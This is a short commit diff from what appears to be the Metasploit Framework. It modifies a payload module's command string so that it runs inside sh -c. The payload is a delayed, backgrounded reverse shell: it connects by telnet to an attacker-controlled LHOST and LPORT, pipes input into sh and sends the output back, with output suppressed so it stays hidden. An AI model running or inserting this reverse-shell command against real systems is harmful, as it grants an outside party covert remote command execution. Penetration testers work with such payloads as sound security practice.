Minor tweak (run inside of sh -c '')
git-svn-id: file:///home/svn/framework3/trunk@8107 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
dded66d71a
commit
831833667a
|
@ -52,12 +52,13 @@ module Metasploit3
|
|||
#
|
||||
def command_string
|
||||
cmd =
|
||||
"(sleep #{3600+rand(1024)}|" +
|
||||
"sh -c '(sleep #{3600+rand(1024)}|" +
|
||||
"telnet #{datastore['LHOST']} #{datastore['LPORT']}|" +
|
||||
"while : ; do sh && break; done 2>&1|" +
|
||||
"telnet #{datastore['LHOST']} #{datastore['LPORT']}" +
|
||||
" >/dev/null 2>&1 &)"
|
||||
" >/dev/null 2>&1 &)'"
|
||||
return cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue